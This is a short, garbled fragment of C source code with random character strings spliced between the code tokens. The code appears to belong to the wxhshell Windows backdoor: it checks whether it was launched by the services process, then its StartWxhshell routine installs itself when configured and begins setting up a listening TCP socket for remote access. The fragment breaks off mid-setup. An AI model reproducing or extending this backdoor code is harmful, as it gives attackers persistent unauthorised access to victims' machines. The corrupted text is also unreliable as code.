\vB ^(:Rbsl if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k$!&3Rh [~wcHE CloseHandle(hProcess); +
aFjtb r%i{a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v%^H9aK_ if(hProcess==NULL) return 0; B#yyO>0k] 9nE%r\H HMODULE hMod; [&:oS35O char procName[255]; iy9]Y5b unsigned long cbNeeded; XjbK!. ~fe0Ba4 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v*LL7b0A { L5m`-x CloseHandle(hProcess); \Wk$>?+#@ O{V"'o if(strstr(procName,"services")) return 1; // 以服务启动 kn.z8%^(
jG#sVK] return 0; // 注册表启动 4dP_'0]9A: } _G|6xlO rIb{='; // 主模块 ;o\wSHc int StartWxhshell(LPSTR lpCmdLine) .^23qCs { sBwgl9 SOCKET wsl; pif gt BOOL val=TRUE; ITV}f# int port=0; gNeCnf#Xa struct sockaddr_in door; K2QD&!4/T2 r[x7?cXsW if(wscfg.ws_autoins) Install(); i]v!o$7 T"jl;,gr]J port=atoi(lpCmdLine); YS*t7 c
LJCLKJ if(port<=0) port=wscfg.ws_port; y~fy0P:T Syk^7l WSADATA data; yT4|eHl if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JpDkf$kM =6$( m}(74 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; RUEUn setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /[OMpP door.sin_family = AF_INET; &V"& |